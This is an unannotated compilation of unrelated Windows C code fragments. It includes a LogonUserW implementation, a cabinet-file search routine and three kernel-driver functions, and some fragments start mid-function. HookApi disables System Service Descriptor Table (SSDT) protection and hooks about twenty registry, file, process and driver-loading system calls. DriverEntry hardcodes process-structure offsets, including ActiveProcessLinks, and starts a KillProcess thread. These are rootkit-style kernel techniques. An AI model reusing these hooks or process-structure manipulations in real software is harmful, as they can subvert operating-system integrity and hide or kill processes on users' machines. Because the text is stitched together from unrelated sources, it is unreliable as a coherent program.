return (Length / sizeof(WCHAR)); }
/* * @implemented */ BOOL WINAPI LogonUserW(LPWSTR lpszUsername, LPWSTR lpszDomain, LPWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken) { SID_IDENTIFIER_AUTHORITY LocalAuthority = {SECURITY_LOCAL_SID_AUTHORITY}; SID_IDENTIFIER_AUTHORITY SystemAuthority = {SECURITY_NT_AUTHORITY}; PSID LogonSid = NULL; PSID LocalSid = NULL; LSA_STRING OriginName; UNICODE_STRING DomainName; UNICODE_STRING UserName; UNICODE_STRING Password; PMSV1_0_INTERACTIVE_LOGON AuthInfo = NULL; ULONG AuthInfoLength; ULONG_PTR Ptr; TOKEN_SOURCE TokenSource; PTOKEN_GROUPS TokenGroups = NULL; PMSV1_0_INTERACTIVE_PROFILE ProfileBuffer = NULL; ULONG ProfileBufferLength = 0; LUID Luid = {0, 0}; LUID LogonId = {0, 0}; HANDLE TokenHandle = NULL; QUOTA_LIMITS QuotaLimits; SECURITY_LOGON_TYPE LogonType; NTSTATUS SubStatus = STATUS_SUCCESS; NTSTATUS Status; *phToken = NULL; switch (dwLogonType) { case LOGON32_LOGON_INTERACTIVE: LogonType = Interactive; break; case LOGON32_LOGON_NETWORK: LogonType = Network; break; case LOGON32_LOGON_BATCH: LogonType = Batch; break; case LOGON32_LOGON_SERVICE: LogonType = Service; break; default: ERR("Invalid logon type: %ul\n", dwLogonType); Status = STATUS_INVALID_PARAMETER; goto done; } if (LsaHandle == NULL) { Status = OpenLogonLsaHandle(); if (!NT_SUCCESS(Status)) goto done; } RtlInitAnsiString((PANSI_STRING)&OriginName, "Advapi32 Logon"); RtlInitUnicodeString(&DomainName, lpszDomain); RtlInitUnicodeString(&UserName, lpszUsername); RtlInitUnicodeString(&Password, lpszPassword); AuthInfoLength = sizeof(MSV1_0_INTERACTIVE_LOGON)+ DomainName.MaximumLength + UserName.MaximumLength + Password.MaximumLength; AuthInfo = RtlAllocateHeap(RtlGetProcessHeap(), HEAP_ZERO_MEMORY, AuthInfoLength); if (AuthInfo == NULL) { Status = STATUS_INSUFFICIENT_RESOURCES; goto done; } AuthInfo->MessageType = MsV1_0InteractiveLogon; Ptr = (ULONG_PTR)AuthInfo + sizeof(MSV1_0_INTERACTIVE_LOGON); AuthInfo->LogonDomainName.Length = DomainName.Length; AuthInfo->LogonDomainName.MaximumLength = DomainName.MaximumLength; AuthInfo->LogonDomainName.Buffer = (DomainName.Buffer == NULL) ? NULL : (PWCHAR)Ptr; if (DomainName.MaximumLength > 0) { RtlCopyMemory(AuthInfo->LogonDomainName.Buffer, DomainName.Buffer, DomainName.MaximumLength); Ptr += DomainName.MaximumLength; } AuthInfo->UserName.Length = UserName.Length; AuthInfo->UserName.MaximumLength = UserName.MaximumLength; AuthInfo->UserName.Buffer = (PWCHAR)Ptr; if (UserName.MaximumLength > 0) RtlCopyMemory(AuthInfo->UserName.Buffer, UserName.Buffer, UserName.MaximumLength); Ptr += UserName.MaximumLength; AuthInfo->Password.Length = Password.Length; AuthInfo->Password.MaximumLength = Password.MaximumLength; AuthInfo->Password.Buffer = (PWCHAR)Ptr; if (Password.MaximumLength > 0) RtlCopyMemory(AuthInfo->Password.Buffer, Password.Buffer, Password.MaximumLength); /* Create the Logon SID*/ AllocateLocallyUniqueId(&LogonId); Status = RtlAllocateAndInitializeSid(&SystemAuthority, SECURITY_LOGON_IDS_RID_COUNT, SECURITY_LOGON_IDS_RID, LogonId.HighPart, LogonId.LowPart, SECURITY_NULL_RID, SECURITY_NULL_RID, SECURITY_NULL_RID, SECURITY_NULL_RID, SECURITY_NULL_RID, &LogonSid); if (!NT_SUCCESS(Status)) goto done; /* Create the Local SID*/ Status = RtlAllocateAndInitializeSid(&LocalAuthority, 1, SECURITY_LOCAL_RID, SECURITY_NULL_RID, SECURITY_NULL_RID, SECURITY_NULL_RID, SECURITY_NULL_RID, SECURITY_NULL_RID, SECURITY_NULL_RID, SECURITY_NULL_RID, &LocalSid); if (!NT_SUCCESS(Status)) goto done; /* Allocate and set the token groups */ TokenGroups = RtlAllocateHeap(RtlGetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(TOKEN_GROUPS) + ((2 - ANYSIZE_ARRAY) * sizeof(SID_AND_ATTRIBUTES))); if (TokenGroups == NULL) { Status = STATUS_INSUFFICIENT_RESOURCES; goto done; } TokenGroups->GroupCount = 2; TokenGroups->Groups[0].Sid = LogonSid; TokenGroups->Groups[0].Attributes = SE_GROUP_MANDATORY | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_LOGON_ID; TokenGroups->Groups[1].Sid = LocalSid; TokenGroups->Groups[1].Attributes = SE_GROUP_MANDATORY | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT; /* Set the token source */ strncpy(TokenSource.SourceName, "Advapi ", sizeof(TokenSource.SourceName)); AllocateLocallyUniqueId(&TokenSource.SourceIdentifier); Status = LsaLogonUser(LsaHandle, &OriginName, LogonType, AuthenticationPackage, (PVOID)AuthInfo, AuthInfoLength, TokenGroups, &TokenSource, (PVOID*)&ProfileBuffer, &ProfileBufferLength, &Luid, &TokenHandle, &QuotaLimits, &SubStatus); if (!NT_SUCCESS(Status)) { ERR("LsaLogonUser failed (Status 0x%08lx)\n", Status); goto done; } if (ProfileBuffer != NULL) { TRACE("ProfileBuffer: %p\n", ProfileBuffer); TRACE("MessageType: %u\n", ProfileBuffer->MessageType); TRACE("FullName: %p\n", ProfileBuffer->FullName.Buffer); TRACE("FullName: %S\n", ProfileBuffer->FullName.Buffer); TRACE("LogonServer: %p\n", ProfileBuffer->LogonServer.Buffer); TRACE("LogonServer: %S\n", ProfileBuffer->LogonServer.Buffer); } TRACE("Luid: 0x%08lx%08lx\n", Luid.HighPart, Luid.LowPart); if (TokenHandle != NULL) { TRACE("TokenHandle: %p\n", TokenHandle); } *phToken = TokenHandle; done: if (ProfileBuffer != NULL) LsaFreeReturnBuffer(ProfileBuffer); if (!NT_SUCCESS(Status)) { if (TokenHandle != NULL) CloseHandle(TokenHandle); } if (TokenGroups != NULL) RtlFreeHeap(RtlGetProcessHeap(), 0, TokenGroups); if (LocalSid != NULL) RtlFreeSid(LocalSid); if (LogonSid != NULL) RtlFreeSid(LogonSid); if (AuthInfo != NULL) RtlFreeHeap(RtlGetProcessHeap(), 0, AuthInfo); if (!NT_SUCCESS(Status)) { SetLastError(RtlNtStatusToDosError(Status)); return FALSE; } return TRUE; }
/* * FUNCTION: Finds next file in the cabinet that matches a search criteria * ARGUMENTS: * Search = Pointer to search structure * RETURNS: * Status of operation */ ULONG CabinetFindNext(PCAB_SEARCH Search) { PCFFILE Prev; ANSI_STRING AnsiString; UNICODE_STRING UnicodeString; WCHAR FileName[MAX_PATH]; if (wcscmp(Search->Cabinet, CabinetName) != 0) { /* restart search of cabinet has changed since last find */ Search->File = 0; } if (!Search->File) { /* starting new search or cabinet */ Search->File = (PCFFILE)(FileBuffer + PCABHeader->FileTableOffset); Search->Index = 0; Prev = 0; } else Prev = Search->File; while (TRUE) { /* look at each file in the archive and see if we found a match */ if (Search->File->FolderIndex == 0xFFFD || Search->File->FolderIndex == 0xFFFF) { /* skip files continued from previous cab */ DPRINT("Skipping file (%s): FileOffset (0x%X), " "LastFileOffset (0x%X)\n", (char *)(Search->File + 1), Search->File->FileOffset, LastFileOffset); } else { // FIXME: check for match against search criteria if (Search->File != Prev) { if (Prev == NULL || Search->File->FolderIndex != Prev->FolderIndex) { Search->CFData = NULL; Search->Offset = 0; } /* don't match the file we started with */ if (wcscmp(Search->Search, L"*") == 0) { /* take any file */ break; } else { /* otherwise, try to match the exact file name */ RtlInitAnsiString(&AnsiString, Search->File->FileName); UnicodeString.Buffer = FileName; UnicodeString.Buffer[0] = 0; UnicodeString.Length = 0; UnicodeString.MaximumLength = sizeof(FileName); RtlAnsiStringToUnicodeString(&UnicodeString, &AnsiString, FALSE); if (wcscmp(Search->Search, UnicodeString.Buffer) == 0) break; } } } /* if we make it here we found no match, so move to the next file */ Search->Index++; if (Search->Index >= PCABHeader->FileCount) { /* we have reached the end of this cabinet */ DPRINT("End of cabinet reached\n"); return CAB_STATUS_NOFILE; } else Search->File = (PCFFILE)(strchr((char *)(Search->File + 1), 0) + 1); } DPRINT("Found file %s\n", Search->File->FileName); return CAB_STATUS_SUCCESS; }
//------------------------------------------------------------------------------------ NTSTATUS HookApi() { SMFile posFile ; LARGE_INTEGER u64FileSize ; LARGE_INTEGER u64CurrentOffset; char strImageName[260]; ANSI_STRING TempImageName ; g_uPidList = 0 ; if ( !NT_SUCCESS(UnProtectSSDT(&MappedSystemCallTable) ) ) { return STATUS_UNSUCCESSFUL; } if ( !NT_SUCCESS (SMCreateFileForRead ( &posFile , L"\\??\\C:\\Warm.txt")) ) { return STATUS_UNSUCCESSFUL; } if ( !NT_SUCCESS (SMGetFileLength ( &posFile , &u64FileSize )) ) { SMCloseFile(&posFile); return STATUS_UNSUCCESSFUL; } if ( !NT_SUCCESS(SMReadFile( &posFile , strImageName , &u64FileSize.LowPart ))) { SMCloseFile(&posFile); return STATUS_UNSUCCESSFUL; } SMCloseFile(&posFile); strImageName[min(u64FileSize.LowPart,sizeof (strImageName)-1)] = '\0'; RtlInitAnsiString (&TempImageName,strImageName); if ( !NT_SUCCESS(RtlAnsiStringToUnicodeString (&g_uniImageName,&TempImageName,TRUE))) { return STATUS_UNSUCCESSFUL; } PsSetLoadImageNotifyRoutine ( LoadImageNotify ); PsSetCreateProcessNotifyRoutine(CreateProcessNotify , FALSE); oldZwCreateKey = (ZWCREATEKEY)(SYSTEMSERVICE(ZwCreateKey)); HOOK_SYSCALL (ZwCreateKey , newZwCreateKey ,oldZwCreateKey ); oldZwDeleteKey = (ZWDELETEKEY)(SYSTEMSERVICE(ZwDeleteKey)); HOOK_SYSCALL (ZwDeleteKey , newZwDeleteKey ,oldZwDeleteKey ); oldZwEnumerateKey = (ZWENUMERATEKEY)(SYSTEMSERVICE(ZwEnumerateKey)); HOOK_SYSCALL (ZwEnumerateKey , newZwEnumerateKey ,oldZwEnumerateKey ); oldZwEnumerateValueKey = (ZWENUMERATEVALUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)); HOOK_SYSCALL (ZwEnumerateValueKey , newZwEnumerateValueKey ,oldZwEnumerateValueKey ); oldZwOpenKey = (ZWOPENKEY)(SYSTEMSERVICE(ZwOpenKey)); HOOK_SYSCALL (ZwOpenKey , newZwOpenKey ,oldZwOpenKey); oldZwQueryValueKey = (ZWQUERYVALUEKEY)(SYSTEMSERVICE(ZwQueryValueKey)); HOOK_SYSCALL (ZwQueryValueKey , newZwQueryValueKey ,oldZwQueryValueKey); oldZwSetValueKey = (ZWSETVALUEKEY)(SYSTEMSERVICE(ZwSetValueKey)); HOOK_SYSCALL (ZwSetValueKey , newZwSetValueKey ,oldZwSetValueKey); oldZwNotifyChangeKey = (ZWNOTIFYCHANGEKEY)(SYSTEMSERVICE(ZwNotifyChangeKey)); HOOK_SYSCALL (ZwNotifyChangeKey , newZwNotifyChangeKey ,oldZwNotifyChangeKey); oldZwLoadDriver = (ZWLOADDRIVER)(SYSTEMSERVICE(ZwLoadDriver)); HOOK_SYSCALL (ZwLoadDriver , newZwLoadDriver ,oldZwLoadDriver); oldZwUnloadDriver = (ZWUNLOADDRIVER)(SYSTEMSERVICE(ZwUnloadDriver)); HOOK_SYSCALL (ZwUnloadDriver , newZwUnloadDriver ,oldZwUnloadDriver); oldZwOpenProcess = (ZWOPENPROCESS)(SYSTEMSERVICE(ZwOpenProcess)); HOOK_SYSCALL (ZwOpenProcess , newZwOpenProcess,oldZwOpenProcess); oldZwOpenSection = (ZWOPENSECTION)(SYSTEMSERVICE(ZwOpenSection)); HOOK_SYSCALL (ZwOpenSection , newZwOpenSection,oldZwOpenSection); oldZwMapViewOfSection = (ZWMAPVIEWOFSECTION)(SYSTEMSERVICE(ZwMapViewOfSection)); HOOK_SYSCALL (ZwMapViewOfSection , newZwMapViewOfSection, oldZwMapViewOfSection); oldZwCreateSection = (ZWCREATESECTION)(SYSTEMSERVICE(ZwCreateSection)); HOOK_SYSCALL (ZwCreateSection , newZwCreateSection, oldZwCreateSection); oldZwCreateFile = (ZWCREATEFILE)(SYSTEMSERVICE(ZwCreateFile)); HOOK_SYSCALL (ZwCreateFile , newZwCreateFile, oldZwCreateFile); oldZwDeleteFile = (ZWDELETEFILE)(SYSTEMSERVICE(ZwDeleteFile)); HOOK_SYSCALL (ZwDeleteFile , newZwDeleteFile, oldZwDeleteFile); oldZwOpenFile = (ZWOPENFILE)(SYSTEMSERVICE(ZwOpenFile)); HOOK_SYSCALL (ZwOpenFile , newZwOpenFile, oldZwOpenFile); oldZwQueryVolumeInformationFile = (ZWQUERYVOLUMEINFORMATIONFILE)(SYSTEMSERVICE(ZwQueryVolumeInformationFile)); HOOK_SYSCALL (ZwQueryVolumeInformationFile , newZwQueryVolumeInformationFile, oldZwQueryVolumeInformationFile); oldZwSetVolumeInformationFile = (ZWSETVOLUMEINFORMATIONFILE)(SYSTEMSERVICE(ZwSetVolumeInformationFile)); HOOK_SYSCALL (ZwSetVolumeInformationFile , newZwSetVolumeInformationFile, oldZwSetVolumeInformationFile); oldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)); HOOK_SYSCALL (ZwQueryDirectoryFile , newZwQueryDirectoryFile, oldZwQueryDirectoryFile); oldZwFsControlFile = (ZWFSCONTROLFILE)(SYSTEMSERVICE(ZwFsControlFile)); HOOK_SYSCALL (ZwFsControlFile , newZwFsControlFile, oldZwFsControlFile); oldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)(SYSTEMSERVICE(ZwDeviceIoControlFile)); HOOK_SYSCALL (ZwDeviceIoControlFile , newZwDeviceIoControlFile, oldZwDeviceIoControlFile); oldZwReadFile = (ZWREADFILE)(SYSTEMSERVICE(ZwReadFile)); HOOK_SYSCALL (ZwReadFile , newZwReadFile, oldZwReadFile); return STATUS_SUCCESS; }
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { UNICODE_STRING DeviceName,Win32Device; PDEVICE_OBJECT DeviceObject = NULL; NTSTATUS status; unsigned i; HANDLE thhandle; RTL_OSVERSIONINFOW osv; char pszstr[512]; ANSI_STRING str_a0; ANSI_STRING str_a1; RtlInitUnicodeString(&DeviceName,L"\\Device\\hsbsys0"); RtlInitUnicodeString(&Win32Device,L"\\DosDevices\\hsbsys0"); for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) DriverObject->MajorFunction[i] = hsbsysDefaultHandler; DriverObject->MajorFunction[IRP_MJ_CREATE] = hsbsysCreateClose; DriverObject->MajorFunction[IRP_MJ_CLOSE] = hsbsysCreateClose; DriverObject->DriverUnload = hsbsysUnload; status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject); if (!NT_SUCCESS(status)) return status; if (!DeviceObject) return STATUS_UNEXPECTED_IO_ERROR; DeviceObject->Flags |= DO_DIRECT_IO; DeviceObject->AlignmentRequirement = FILE_WORD_ALIGNMENT; status = IoCreateSymbolicLink(&Win32Device, &DeviceName); RtlZeroMemory(pszstr,512); osv.dwOSVersionInfoSize=sizeof(RTL_OSVERSIONINFOW); RtlGetVersion(&osv); RtlStringCbPrintfA(pszstr,512,"%d.%d",osv.dwMajorVersion,osv.dwMinorVersion); RtlInitAnsiString(&str_a0,pszstr); RtlInitAnsiString(&str_a1,"5.1"); if (RtlCompareString(&str_a0,&str_a1,TRUE)==0) //xpsp3 { eprooffset.ImageFileName=0x174; eprooffset.SE_AUDIT_PROCESS_CREATION_INFO=0x1f4; eprooffset.ActiveProcessLinks=0x088; } RtlInitAnsiString(&str_a1,"5.2"); if (RtlCompareString(&str_a0,&str_a1,TRUE)==0) //2003 { eprooffset.ImageFileName=0x164; eprooffset.SE_AUDIT_PROCESS_CREATION_INFO=0x1e4; eprooffset.ActiveProcessLinks=0x098; } RtlInitAnsiString(&str_a1,"6.1"); if (RtlCompareString(&str_a0,&str_a1,TRUE)==0) //win7 { eprooffset.ImageFileName=0x16c; eprooffset.SE_AUDIT_PROCESS_CREATION_INFO=0x1ec; eprooffset.ActiveProcessLinks=0x0b8; } PsCreateSystemThread(&thhandle,0,NULL,NULL,NULL,KillProcess,NULL); DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; return STATUS_SUCCESS; }
EXTERN_C NTSTATUS EnumDirectory( char *lpDirName ) { NTSTATUS status, fStatus; ULONG dwBytesReturned; OBJECT_ATTRIBUTES objectAttributes; PDEVICE_OBJECT lpDeviceObject; IO_STACK_LOCATION iost; PIO_STACK_LOCATION lpsp; IO_STATUS_BLOCK IoStatus; HANDLE hFile = NULL; PFILE_DIRECTORY_INFORMATION lpInformation; PDIRECTORY_INFO lpDirInfo = NULL, lpPreDirInfo = NULL; PFILE_OBJECT lpFileObject = NULL; UNICODE_STRING unFileName; ANSI_STRING anFileName; HANDLE eventHandle = NULL; CHAR buffer[1024]; PUCHAR lpNext; dwBytesReturned = 0; status = STATUS_UNSUCCESSFUL; RtlZeroMemory(buffer,1024); strcpy(buffer,"\\DosDevices\\"); strcat(buffer,lpDirName); RtlInitAnsiString(&anFileName,buffer); RtlAnsiStringToUnicodeString(&unFileName,&anFileName,TRUE); InitializeObjectAttributes(&objectAttributes,&unFileName,OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE,NULL,NULL); __try { //打开文件 fStatus = ZwOpenFile(&hFile,\ FILE_LIST_DIRECTORY | SYNCHRONIZE | FILE_ANY_ACCESS,\ &objectAttributes,\ &IoStatus,\ FILE_SHARE_READ | FILE_SHARE_WRITE| FILE_SHARE_DELETE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT); ObReferenceObjectByHandle(hFile, FILE_LIST_DIRECTORY | SYNCHRONIZE, 0, KernelMode, (PVOID *)&lpFileObject, NULL); status = ZwCreateEvent(&eventHandle, GENERIC_ALL, 0, NotificationEvent, FALSE); lpInformation = (PFILE_DIRECTORY_INFORMATION)ExAllocatePool(PagedPool, 655350); status = ZwQueryDirectoryFile(hFile, eventHandle,0, 0, &IoStatus, lpInformation, 655350, FileDirectoryInformation, FALSE, NULL, FALSE ); if (!NT_SUCCESS(status) && status != STATUS_PENDING) { goto LeaveBefore; } if (status == STATUS_PENDING) { KeWaitForSingleObject(eventHandle, Executive, KernelMode, TRUE, 0); } FreePagedLookasideListForDirectory(); g_pPageListDirectory = (PPAGED_LOOKASIDE_LIST)ExAllocatePool(PagedPool, sizeof(PAGED_LOOKASIDE_LIST)); ExInitializePagedLookasideList(g_pPageListDirectory, NULL, NULL, 0, sizeof(DIRECTORY_INFO), NULL, 0); while(1) { lpDirInfo = (PDIRECTORY_INFO)ExAllocateFromPagedLookasideList(g_pPageListDirectory); RtlZeroMemory(lpDirInfo, sizeof(DIRECTORY_INFO)); RtlCopyMemory(lpDirInfo->FileName, lpInformation->FileName, lpInformation->FileNameLength); lpDirInfo->AllocationSize = lpInformation->AllocationSize; lpDirInfo->FileAttributes = lpInformation->FileAttributes; RtlTimeToTimeFields(&(lpInformation->CreationTime), &(lpDirInfo->CreationTime)); RtlTimeToTimeFields(&(lpInformation->LastAccessTime), &(lpDirInfo->LastAccessTime)); RtlTimeToTimeFields(&(lpInformation->LastWriteTime), &(lpDirInfo->LastWriteTime)); RtlTimeToTimeFields(&(lpInformation->ChangeTime), &(lpDirInfo->ChangeTime)); lpDirInfo->next = NULL; if (NULL == g_pDirectoryInfo) { g_pDirectoryInfo = lpDirInfo; lpPreDirInfo = lpDirInfo; } else { lpPreDirInfo->next = lpDirInfo; lpPreDirInfo = lpDirInfo; } if(!lpInformation->NextEntryOffset) { break; } lpInformation = (PFILE_DIRECTORY_INFORMATION)((PUCHAR)lpInformation + lpInformation->NextEntryOffset); } LeaveBefore: ; } __finally { if (NT_SUCCESS(fStatus)) { ZwClose(hFile); } if (NULL != lpFileObject) { ObDereferenceObject(lpFileObject); lpFileObject = NULL; } if (NULL != eventHandle) { ZwClose(eventHandle); eventHandle = NULL; } } return status; }